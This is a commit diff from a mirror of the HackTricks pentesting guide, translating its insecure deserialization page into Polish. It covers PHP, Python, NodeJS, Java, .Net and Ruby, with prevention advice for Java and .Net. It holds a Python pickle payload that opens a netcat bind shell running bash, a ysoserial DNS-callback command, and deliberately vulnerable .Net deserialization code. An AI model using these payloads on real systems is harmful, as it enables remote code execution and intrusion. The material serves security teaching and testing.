mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
Translated ['pentesting-web/deserialization/README.md'] to pl
This commit is contained in:
parent
4d5e5299ab
commit
ece89bd465
1 changed files with 41 additions and 39 deletions
|
@ -132,9 +132,9 @@ $ser=serialize($o);
|
|||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) może pomóc w generowaniu ładunków do nadużywania deserializacji PHP.\
|
||||
Zauważ, że w wielu przypadkach **nie będziesz w stanie znaleźć sposobu na nadużycie deserializacji w kodzie źródłowym** aplikacji, ale możesz być w stanie **nadużyć kodu zewnętrznych rozszerzeń PHP.**\
|
||||
Więc, jeśli możesz, sprawdź `phpinfo()` serwera i **przeszukaj internet** (a nawet **gadżety** **PHPGGC**) w poszukiwaniu możliwego gadżetu, który mógłbyś nadużyć.
|
||||
Więc, jeśli możesz, sprawdź `phpinfo()` serwera i **przeszukaj internet** (a nawet **gadżety** **PHPGGC**) w poszukiwaniu możliwych gadżetów, które możesz nadużyć.
|
||||
|
||||
### deserializacja metadanych phar://
|
||||
### phar:// deserializacja metadanych
|
||||
|
||||
Jeśli znalazłeś LFI, który tylko odczytuje plik i nie wykonuje kodu php w nim, na przykład używając funkcji takich jak _**file\_get\_contents(), fopen(), file() lub file\_exists(), md5\_file(), filemtime() lub filesize()**_**.** Możesz spróbować nadużyć **deserializacji** występującej podczas **odczytu** **pliku** za pomocą protokołu **phar**.\
|
||||
Aby uzyskać więcej informacji, przeczytaj następujący post:
|
||||
|
@ -156,7 +156,9 @@ def __reduce__(self):
|
|||
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
||||
print(base64.b64encode(pickle.dumps(P())))
|
||||
```
|
||||
For more information about escaping from **pickle jails** check:
|
||||
Przed sprawdzeniem techniki obejścia, spróbuj użyć `print(base64.b64encode(pickle.dumps(P(),2)))`, aby wygenerować obiekt, który jest zgodny z python2, jeśli używasz python3.
|
||||
|
||||
Aby uzyskać więcej informacji na temat ucieczki z **pickle jails**, sprawdź:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
|
@ -164,13 +166,13 @@ For more information about escaping from **pickle jails** check:
|
|||
|
||||
### Yaml **&** jsonpickle
|
||||
|
||||
The following page present the technique to **abuse an unsafe deserialization in yamls** python libraries and finishes with a tool that can be used to generate RCE deserialization payload for **Pickle, PyYAML, jsonpickle and ruamel.yaml**:
|
||||
Następna strona przedstawia technikę **wykorzystania niebezpiecznej deserializacji w bibliotekach pythonowych yaml** i kończy się narzędziem, które można wykorzystać do generowania ładunków deserializacji RCE dla **Pickle, PyYAML, jsonpickle i ruamel.yaml**:
|
||||
|
||||
{% content-ref url="python-yaml-deserialization.md" %}
|
||||
[python-yaml-deserialization.md](python-yaml-deserialization.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Class Pollution (Python Prototype Pollution)
|
||||
### Zanieczyszczenie klas (Python Prototype Pollution)
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %}
|
||||
[class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
||||
|
@ -178,12 +180,12 @@ The following page present the technique to **abuse an unsafe deserialization in
|
|||
|
||||
## NodeJS
|
||||
|
||||
### JS Magic Functions
|
||||
### Funkcje magiczne JS
|
||||
|
||||
JS **nie ma "magicznych" funkcji** jak PHP czy Python, które są wykonywane tylko w celu utworzenia obiektu. Ale ma kilka **funkcji**, które są **często używane nawet bez bezpośredniego wywoływania ich**, takich jak **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
Jeśli nadużyjesz deserializacji, możesz **skompromentować te funkcje, aby wykonać inny kod** (potencjalnie nadużywając zanieczyszczenia prototypu), co pozwoli ci wykonać dowolny kod, gdy zostaną wywołane.
|
||||
JS **nie ma "magicznych" funkcji** jak PHP czy Python, które będą wykonywane tylko w celu utworzenia obiektu. Ale ma kilka **funkcji**, które są **często używane nawet bez bezpośredniego wywoływania ich**, takich jak **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
Jeśli wykorzystasz deserializację, możesz **skompromentować te funkcje, aby wykonać inny kod** (potencjalnie wykorzystując zanieczyszczenie prototypu), możesz wykonać dowolny kod, gdy zostaną wywołane.
|
||||
|
||||
Inny **"magiczny" sposób na wywołanie funkcji** bez bezpośredniego jej wywoływania to **skompromentowanie obiektu, który jest zwracany przez funkcję asynchroniczną** (obietnica). Ponieważ, jeśli **przekształcisz** ten **obiekt zwracany** w inną **obietnicę** z **właściwością** o nazwie **"then" typu funkcji**, zostanie on **wykonany** tylko dlatego, że jest zwracany przez inną obietnicę. _Follow_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _for more info._
|
||||
Inny **"magiczny" sposób na wywołanie funkcji** bez bezpośredniego jej wywoływania to **skompromentowanie obiektu, który jest zwracany przez funkcję asynchroniczną** (obietnica). Ponieważ, jeśli **przekształcisz** ten **obiekt zwracany** w inną **obietnicę** z **właściwością** o nazwie **"then" typu funkcji**, zostanie **wykonany** tylko dlatego, że jest zwracany przez inną obietnicę. _Śledź_ [_**ten link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _po więcej informacji._
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
|
@ -209,7 +211,7 @@ test_then()
|
|||
```
|
||||
### `__proto__` i zanieczyszczenie `prototype`
|
||||
|
||||
Jeśli chcesz dowiedzieć się więcej o tej technice **zobacz następujący samouczek**:
|
||||
Jeśli chcesz nauczyć się o tej technice **zobacz następujący samouczek**:
|
||||
|
||||
{% content-ref url="nodejs-proto-prototype-pollution/" %}
|
||||
[nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/)
|
||||
|
@ -240,7 +242,7 @@ W pliku `node-serialize/lib/serialize.js` możesz znaleźć tę samą flagę i s
|
|||
|
||||
Jak możesz zobaczyć w ostatnim kawałku kodu, **jeśli flaga jest znaleziona**, używane jest `eval` do deserializacji funkcji, więc zasadniczo **dane wejściowe użytkownika są używane wewnątrz funkcji `eval`**.
|
||||
|
||||
Jednak **samego serializowania** funkcji **nie wykona**, ponieważ konieczne byłoby, aby jakaś część kodu **wywoływała `y.rce`** w naszym przykładzie, co jest bardzo **mało prawdopodobne**.\
|
||||
Jednak **samego serializowania** funkcji **nie wykona**, ponieważ konieczne byłoby, aby jakaś część kodu **wywoływała `y.rce`** w naszym przykładzie, a to jest wysoce **mało prawdopodobne**.\
|
||||
Tak czy inaczej, możesz po prostu **zmodyfikować obiekt serializowany**, **dodając nawiasy**, aby automatycznie wykonać serializowaną funkcję, gdy obiekt jest deserializowany.\
|
||||
W następnym kawałku kodu **zauważ ostatni nawias** i jak funkcja `unserialize` automatycznie wykona kod:
|
||||
```javascript
|
||||
|
@ -344,7 +346,7 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
|
|||
|
||||
Jeśli chcesz **dowiedzieć się, jak działa exploit deserializacji w Javie**, powinieneś zapoznać się z [**Podstawową deserializacją Javy**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserializacją DNS w Javie**](java-dns-deserialization-and-gadgetprobe.md) oraz [**Ładunkiem CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
|
||||
|
||||
#### Test białego pudełka
|
||||
#### Test białej skrzynki
|
||||
|
||||
Możesz sprawdzić, czy zainstalowana jest jakakolwiek aplikacja z znanymi podatnościami.
|
||||
```bash
|
||||
|
@ -352,7 +354,7 @@ find . -iname "*commons*collection*"
|
|||
grep -R InvokeTransformer .
|
||||
```
|
||||
Możesz spróbować **sprawdzić wszystkie biblioteki**, które są znane jako podatne i dla których [**Ysoserial**](https://github.com/frohoff/ysoserial) może dostarczyć exploit. Możesz również sprawdzić biblioteki wskazane na [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||||
Możesz także użyć [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector), aby wyszukać możliwe łańcuchy gadżetów, które można wykorzystać.\
|
||||
Możesz także użyć [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector), aby wyszukać możliwe łańcuchy gadgetów, które można wykorzystać.\
|
||||
Podczas uruchamiania **gadgetinspector** (po zbudowaniu) nie przejmuj się mnóstwem ostrzeżeń/błędów, przez które przechodzi, i pozwól mu zakończyć. Zapisze wszystkie wyniki w _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Proszę zauważyć, że **gadgetinspector nie stworzy exploita i może wskazywać fałszywe pozytywy**.
|
||||
|
||||
#### Test Black Box
|
||||
|
@ -365,21 +367,21 @@ Używając rozszerzenia Burp [**Java Deserialization Scanner**](java-dns-deseria
|
|||
[**Przeczytaj to, aby dowiedzieć się więcej o Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scanner koncentruje się na **deserializacjach `ObjectInputStream`**.
|
||||
|
||||
Możesz także użyć [**Freddy**](https://github.com/nccgroup/freddy), aby **wykryć podatności** deserializacji w **Burp**. Ten plugin wykryje **nie tylko podatności związane z `ObjectInputStream`**, ale **także** podatności z bibliotek deserializacji **Json** i **Yml**. W trybie aktywnym spróbuje je potwierdzić, używając ładunków sleep lub DNS.\
|
||||
Możesz także użyć [**Freddy**](https://github.com/nccgroup/freddy), aby **wykryć podatności deserializacji** w **Burp**. Ten plugin wykryje **nie tylko podatności związane z `ObjectInputStream`**, ale **także** podatności z bibliotek deserializacji **Json** i **Yml**. W trybie aktywnym spróbuje je potwierdzić, używając ładunków sleep lub DNS.\
|
||||
[**Możesz znaleźć więcej informacji o Freddy tutaj.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
|
||||
**Test serializacji**
|
||||
**Test Serializacji**
|
||||
|
||||
Nie wszystko sprowadza się do sprawdzania, czy serwer używa jakiejkolwiek podatnej biblioteki. Czasami możesz być w stanie **zmienić dane wewnątrz zserializowanego obiektu i obejść niektóre kontrole** (może przyznać ci uprawnienia administratora w aplikacji webowej).\
|
||||
Nie wszystko polega na sprawdzaniu, czy jakakolwiek podatna biblioteka jest używana przez serwer. Czasami możesz być w stanie **zmienić dane wewnątrz zserializowanego obiektu i obejść niektóre kontrole** (może przyznać ci uprawnienia administratora w aplikacji webowej).\
|
||||
Jeśli znajdziesz zserializowany obiekt java wysyłany do aplikacji webowej, **możesz użyć** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper), **aby wydrukować w bardziej czytelny sposób zserializowany obiekt, który jest wysyłany**. Wiedząc, jakie dane wysyłasz, łatwiej będzie je zmodyfikować i obejść niektóre kontrole.
|
||||
|
||||
### **Exploity**
|
||||
|
||||
#### **ysoserial**
|
||||
|
||||
Główne narzędzie do wykorzystywania deserializacji Java to [**ysoserial**](https://github.com/frohoff/ysoserial) ([**pobierz tutaj**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Możesz także rozważyć użycie [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), które pozwoli ci używać złożonych poleceń (na przykład z użyciem potoków).\
|
||||
Głównym narzędziem do wykorzystywania deserializacji Java jest [**ysoserial**](https://github.com/frohoff/ysoserial) ([**pobierz tutaj**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Możesz także rozważyć użycie [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), które pozwoli ci używać złożonych poleceń (na przykład z użyciem pipe'ów).\
|
||||
Zauważ, że to narzędzie jest **skoncentrowane** na wykorzystywaniu **`ObjectInputStream`**.\
|
||||
Zacząłbym **od użycia ładunku "URLDNS"** **przed ładunkiem RCE**, aby sprawdzić, czy wstrzyknięcie jest możliwe. Tak czy inaczej, zauważ, że może ładunek "URLDNS" nie działa, ale inny ładunek RCE może.
|
||||
Zalecałbym **rozpoczęcie od ładunku "URLDNS"** **przed ładunkiem RCE**, aby sprawdzić, czy wstrzyknięcie jest możliwe. Tak czy inaczej, zauważ, że może ładunek "URLDNS" nie działa, ale inny ładunek RCE może działać.
|
||||
```bash
|
||||
# PoC to make the application perform a DNS req
|
||||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||||
|
@ -488,14 +490,14 @@ Przeczytaj więcej o tej bibliotece Java JSON: [https://www.alphabot.com/securit
|
|||
Java używa dużo serializacji do różnych celów, takich jak:
|
||||
|
||||
* **Żądania HTTP**: Serializacja jest szeroko stosowana w zarządzaniu parametrami, ViewState, ciasteczkami itp.
|
||||
* **RMI (Remote Method Invocation)**: Protokół RMI w Javie, który w całości opiera się na serializacji, jest fundamentem komunikacji zdalnej w aplikacjach Java.
|
||||
* **RMI przez HTTP**: Ta metoda jest powszechnie używana przez aplikacje webowe oparte na Javie, wykorzystując serializację do wszystkich komunikacji obiektów.
|
||||
* **RMI (Remote Method Invocation)**: Protokół Java RMI, który w całości opiera się na serializacji, jest fundamentem komunikacji zdalnej w aplikacjach Java.
|
||||
* **RMI przez HTTP**: Ta metoda jest powszechnie używana przez aplikacje webowe oparte na Java, wykorzystując serializację do wszystkich komunikacji obiektów.
|
||||
* **JMX (Java Management Extensions)**: JMX wykorzystuje serializację do przesyłania obiektów przez sieć.
|
||||
* **Niestandardowe protokoły**: W Javie standardową praktyką jest przesyłanie surowych obiektów Java, co zostanie zaprezentowane w nadchodzących przykładach exploitów.
|
||||
* **Protokóły niestandardowe**: W Javie standardową praktyką jest przesyłanie surowych obiektów Java, co zostanie zaprezentowane w nadchodzących przykładach exploitów.
|
||||
|
||||
### Prevention
|
||||
|
||||
#### Transient objects
|
||||
#### Obiekty transientne
|
||||
|
||||
Klasa, która implementuje `Serializable`, może oznaczyć jako `transient` każdy obiekt wewnątrz klasy, który nie powinien być serializowany. Na przykład:
|
||||
```java
|
||||
|
@ -516,7 +518,7 @@ throw new java.io.IOException("Cannot be deserialized");
|
|||
|
||||
**Dostosowanie `java.io.ObjectInputStream`** to praktyczne podejście do zabezpieczania procesów deserializacji. Metoda ta jest odpowiednia, gdy:
|
||||
|
||||
* Kod deserializacji jest pod Twoją kontrolą.
|
||||
* Kod deserializacji jest pod twoją kontrolą.
|
||||
* Klasy oczekiwane do deserializacji są znane.
|
||||
|
||||
Nadpisz metodę **`resolveClass()`**, aby ograniczyć deserializację tylko do dozwolonych klas. Zapobiega to deserializacji jakiejkolwiek klasy, z wyjątkiem tych wyraźnie dozwolonych, jak w poniższym przykładzie, który ogranicza deserializację tylko do klasy `Bicycle`:
|
||||
|
@ -579,12 +581,12 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
|||
* [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||
* [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
* [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||
* Artykuł o deserializacji JSON w Javie i .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** prezentacja: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) oraz slajdy: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
* CVE dotyczące deserializacji: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
* Artykuł o deserializacji Java i .Net JSON: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** prezentacja: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) oraz slajdy: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
* CVE deserializacji: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
|
||||
## Wstrzykiwanie JNDI i log4Shell
|
||||
|
||||
Znajdź, czym jest **Wstrzykiwanie JNDI, jak je wykorzystać za pomocą RMI, CORBA i LDAP oraz jak wykorzystać log4shell** (i przykład tej luki) na poniższej stronie:
|
||||
Znajdź, czym jest **Wstrzykiwanie JNDI, jak je wykorzystać za pomocą RMI, CORBA i LDAP oraz jak wykorzystać log4shell** (i przykład tej podatności) na następującej stronie:
|
||||
|
||||
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %}
|
||||
[jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md)
|
||||
|
@ -592,11 +594,11 @@ Znajdź, czym jest **Wstrzykiwanie JNDI, jak je wykorzystać za pomocą RMI, COR
|
|||
|
||||
## JMS - Java Message Service
|
||||
|
||||
> API **Java Message Service** (**JMS**) to API middleware oparte na wiadomościach w Javie, służące do wysyłania wiadomości między dwoma lub więcej klientami. Jest to implementacja do rozwiązania problemu producenta-konsumenta. JMS jest częścią platformy Java Platform, Enterprise Edition (Java EE) i została zdefiniowana przez specyfikację opracowaną w Sun Microsystems, ale od tego czasu była kierowana przez Java Community Process. Jest to standard komunikacji, który pozwala komponentom aplikacji opartym na Java EE tworzyć, wysyłać, odbierać i odczytywać wiadomości. Umożliwia to luźne powiązanie, niezawodną i asynchroniczną komunikację między różnymi komponentami rozproszonej aplikacji. (Z [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
|
||||
> API **Java Message Service** (**JMS**) to API middleware oparte na wiadomościach w Javie, służące do wysyłania wiadomości między dwoma lub więcej klientami. Jest to implementacja do rozwiązania problemu producenta i konsumenta. JMS jest częścią platformy Java Platform, Enterprise Edition (Java EE) i została zdefiniowana przez specyfikację opracowaną w Sun Microsystems, ale od tego czasu była kierowana przez Java Community Process. Jest to standard komunikacji, który pozwala komponentom aplikacji opartym na Java EE tworzyć, wysyłać, odbierać i odczytywać wiadomości. Umożliwia to luźne powiązanie, niezawodną i asynchroniczną komunikację między różnymi komponentami rozproszonej aplikacji. (Z [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
|
||||
|
||||
### Produkty
|
||||
|
||||
Istnieje kilka produktów korzystających z tego middleware do wysyłania wiadomości:
|
||||
Istnieje kilka produktów wykorzystujących to middleware do wysyłania wiadomości:
|
||||
|
||||
![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../.gitbook/assets/image (314).png>)
|
||||
|
||||
|
@ -607,9 +609,9 @@ Istnieje kilka produktów korzystających z tego middleware do wysyłania wiadom
|
|||
Tak więc, zasadniczo istnieje **wiele usług korzystających z JMS w niebezpieczny sposób**. Dlatego, jeśli masz **wystarczające uprawnienia** do wysyłania wiadomości do tych usług (zazwyczaj będziesz potrzebować ważnych poświadczeń), możesz być w stanie wysłać **złośliwe obiekty serializowane, które będą deserializowane przez konsumenta/subskrybenta**.\
|
||||
Oznacza to, że w tym wykorzystaniu wszystkie **klienty, które będą korzystać z tej wiadomości, zostaną zainfekowane**.
|
||||
|
||||
Powinieneś pamiętać, że nawet jeśli usługa jest podatna (ponieważ niebezpiecznie deserializuje dane wejściowe od użytkownika), nadal musisz znaleźć ważne gadżety, aby wykorzystać lukę.
|
||||
Powinieneś pamiętać, że nawet jeśli usługa jest podatna (ponieważ niebezpiecznie deserializuje dane wejściowe użytkownika), nadal musisz znaleźć ważne gadżety, aby wykorzystać tę podatność.
|
||||
|
||||
Narzędzie [JMET](https://github.com/matthiaskaiser/jmet) zostało stworzone, aby **łączyć się i atakować te usługi, wysyłając kilka złośliwych obiektów serializowanych przy użyciu znanych gadżetów**. Te exploity będą działać, jeśli usługa nadal będzie podatna i jeśli którykolwiek z używanych gadżetów znajduje się w podatnej aplikacji.
|
||||
Narzędzie [JMET](https://github.com/matthiaskaiser/jmet) zostało stworzone, aby **połączyć się i zaatakować te usługi, wysyłając kilka złośliwych obiektów serializowanych przy użyciu znanych gadżetów**. Te exploity będą działać, jeśli usługa nadal będzie podatna i jeśli którykolwiek z używanych gadżetów znajduje się w podatnej aplikacji.
|
||||
|
||||
### Odniesienia
|
||||
|
||||
|
@ -639,13 +641,13 @@ Poszukiwania powinny koncentrować się na zakodowanym w Base64 ciągu **AAEAAAD
|
|||
|
||||
W tym przypadku możesz użyć narzędzia [**ysoserial.net**](https://github.com/pwntester/ysoserial.net), aby **tworzyć exploity deserializacji**. Po pobraniu repozytorium git powinieneś **skompilować narzędzie** na przykład za pomocą Visual Studio.
|
||||
|
||||
Jeśli chcesz dowiedzieć się, **jak ysoserial.net tworzy swoje exploity**, możesz [**sprawdzić tę stronę, na której wyjaśniono gadżet ObjectDataProvider + ExpandedWrapper + formatter Json.Net**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
Jeśli chcesz dowiedzieć się, **jak ysoserial.net tworzy swoje exploity**, możesz [**sprawdzić tę stronę, na której wyjaśniono gadżet ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
|
||||
Główne opcje **ysoserial.net** to: **`--gadget`**, **`--formatter`**, **`--output`** i **`--plugin`.**
|
||||
|
||||
* **`--gadget`** używane do wskazania gadżetu do wykorzystania (wskazuje klasę/funkcję, która będzie wykorzystywana podczas deserializacji do wykonania poleceń).
|
||||
* **`--formatter`**, używane do wskazania metody do serializacji exploita (musisz wiedzieć, która biblioteka jest używana w backendzie do deserializacji ładunku i użyć tej samej do jego serializacji).
|
||||
* **`--output`** używane do wskazania, czy chcesz, aby exploit był w formacie **raw** czy **base64**. _Zauważ, że **ysoserial.net** będzie **kodować** ładunek używając **UTF-16LE** (domyślne kodowanie w Windows), więc jeśli pobierzesz raw i po prostu zakodujesz go z konsoli linuxowej, możesz napotkać problemy z **kompatybilnością kodowania**, które uniemożliwią poprawne działanie exploita (w przypadku HTB JSON box ładunek działał zarówno w UTF-16LE, jak i ASCII, ale to nie oznacza, że zawsze będzie działać)._
|
||||
* **`--output`** używane do wskazania, czy chcesz, aby exploit był w formacie **raw** czy **base64**. _Zauważ, że **ysoserial.net** będzie **kodować** ładunek używając **UTF-16LE** (domyślne kodowanie w systemie Windows), więc jeśli pobierzesz wersję raw i po prostu zakodujesz ją z konsoli linuxowej, możesz napotkać problemy z **kompatybilnością kodowania**, które uniemożliwią poprawne działanie exploita (w przypadku HTB JSON box ładunek działał zarówno w UTF-16LE, jak i ASCII, ale to nie oznacza, że zawsze będzie działać)._
|
||||
* **`--plugin`** ysoserial.net obsługuje wtyczki do tworzenia **exploitów dla konkretnych frameworków** jak ViewState.
|
||||
|
||||
#### Więcej parametrów ysoserial.net
|
||||
|
@ -699,12 +701,12 @@ TypeNameHandling = TypeNameHandling.Auto
|
|||
return obj;
|
||||
}
|
||||
```
|
||||
W **poprzednim kodzie występuje luka w zabezpieczeniach, która została stworzona**. Jeśli znajdziesz coś podobnego w aplikacji .Net, oznacza to, że prawdopodobnie ta aplikacja również jest podatna.\
|
||||
W **poprzednim kodzie występuje luka w zabezpieczeniach**, która została stworzona. Jeśli znajdziesz coś podobnego w aplikacji .Net, oznacza to, że prawdopodobnie ta aplikacja również jest podatna.\
|
||||
Dlatego parametr **`--test`** pozwala nam zrozumieć **które fragmenty kodu są podatne** na exploit deserializacji, który **ysoserial.net** może stworzyć.
|
||||
|
||||
### ViewState
|
||||
|
||||
Zobacz [ten POST o **tym, jak spróbować wykorzystać parametr \_\_ViewState w .Net**](exploiting-\_\_viewstate-parameter.md) aby **wykonać dowolny kod.** Jeśli **już znasz sekrety** używane przez maszynę ofiary, [**przeczytaj ten post, aby dowiedzieć się, jak wykonać kod**](exploiting-\_\_viewstate-knowing-the-secret.md)**.**
|
||||
Zobacz [ten POST o **tym, jak spróbować wykorzystać parametr \_\_ViewState w .Net**](exploiting-\_\_viewstate-parameter.md), aby **wykonać dowolny kod.** Jeśli **już znasz sekrety** używane przez maszynę ofiary, [**przeczytaj ten post, aby dowiedzieć się, jak wykonać kod**](exploiting-\_\_viewstate-knowing-the-secret.md)**.**
|
||||
|
||||
### Zapobieganie
|
||||
|
||||
|
@ -713,10 +715,10 @@ Aby zminimalizować ryzyko związane z deserializacją w .Net:
|
|||
* **Unikaj pozwalania strumieniom danych na definiowanie swoich typów obiektów.** Wykorzystuj `DataContractSerializer` lub `XmlSerializer`, gdy to możliwe.
|
||||
* **Dla `JSON.Net`, ustaw `TypeNameHandling` na `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
|
||||
* **Unikaj używania `JavaScriptSerializer` z `JavaScriptTypeResolver`.**
|
||||
* **Ogranicz typy, które mogą być deserializowane**, rozumiejąc inherentne ryzyko związane z typami .Net, takimi jak `System.IO.FileInfo`, które mogą modyfikować właściwości plików na serwerze, co potencjalnie prowadzi do ataków typu denial of service.
|
||||
* **Ogranicz typy, które mogą być deserializowane**, rozumiejąc inherentne ryzyko związane z typami .Net, takimi jak `System.IO.FileInfo`, które mogą modyfikować właściwości plików serwera, co potencjalnie prowadzi do ataków typu denial of service.
|
||||
* **Bądź ostrożny z typami mającymi ryzykowne właściwości**, jak `System.ComponentModel.DataAnnotations.ValidationException` z jego właściwością `Value`, która może być wykorzystana.
|
||||
* **Bezpiecznie kontroluj instancjonowanie typów**, aby zapobiec wpływowi atakujących na proces deserializacji, co sprawia, że nawet `DataContractSerializer` lub `XmlSerializer` mogą być podatne.
|
||||
* **Wprowadź kontrolę białej listy** przy użyciu niestandardowego `SerializationBinder` dla `BinaryFormatter` i `JSON.Net`.
|
||||
* **Wdrażaj kontrole białej listy** przy użyciu niestandardowego `SerializationBinder` dla `BinaryFormatter` i `JSON.Net`.
|
||||
* **Bądź na bieżąco z znanymi niebezpiecznymi gadżetami deserializacji** w .Net i upewnij się, że deserializatory nie instancjonują takich typów.
|
||||
* **Izoluj potencjalnie ryzykowny kod** od kodu z dostępem do internetu, aby uniknąć narażenia znanych gadżetów, takich jak `System.Windows.Data.ObjectDataProvider` w aplikacjach WPF, na niezaufane źródła danych.
|
||||
|
||||
|
@ -824,7 +826,7 @@ Na przykład, wywołanie eval, a następnie kodu ruby jako drugiego parametru po
|
|||
{% endcode %}
|
||||
|
||||
Ponadto, jeśli tylko jeden parametr **`.send()`** jest kontrolowany przez atakującego, jak wspomniano w poprzednim opisie, możliwe jest wywołanie dowolnej metody obiektu, która **nie potrzebuje argumentów** lub której argumenty mają **wartości domyślne**.\
|
||||
W tym celu można wyenumerować wszystkie metody obiektu, aby **znaleźć interesujące metody, które spełniają te wymagania**.
|
||||
W tym celu można enumerować wszystkie metody obiektu, aby **znaleźć interesujące metody, które spełniają te wymagania**.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```ruby
|
||||
|
@ -856,7 +858,7 @@ Ta technika została wzięta[ **z tego wpisu na blogu**](https://github.blog/sec
|
|||
|
||||
Istnieją inne biblioteki Ruby, które mogą być używane do serializacji obiektów i które mogą być nadużywane w celu uzyskania RCE podczas niebezpiecznej deserializacji. Poniższa tabela pokazuje niektóre z tych bibliotek oraz metodę, którą wywołuje załadowana biblioteka, gdy jest deserializowana (funkcja do nadużycia w celu uzyskania RCE w zasadzie):
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Biblioteka</strong></td><td><strong>Dane wejściowe</strong></td><td><strong>Metoda uruchamiająca wewnątrz klasy</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binarny</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (klasa musi być umieszczona w hash(map) jako klucz)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (klasa musi być umieszczona w hash(map) jako klucz)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (klasa musi być umieszczona w hash(map) jako klucz)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([zobacz notatki dotyczące json_create na końcu](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
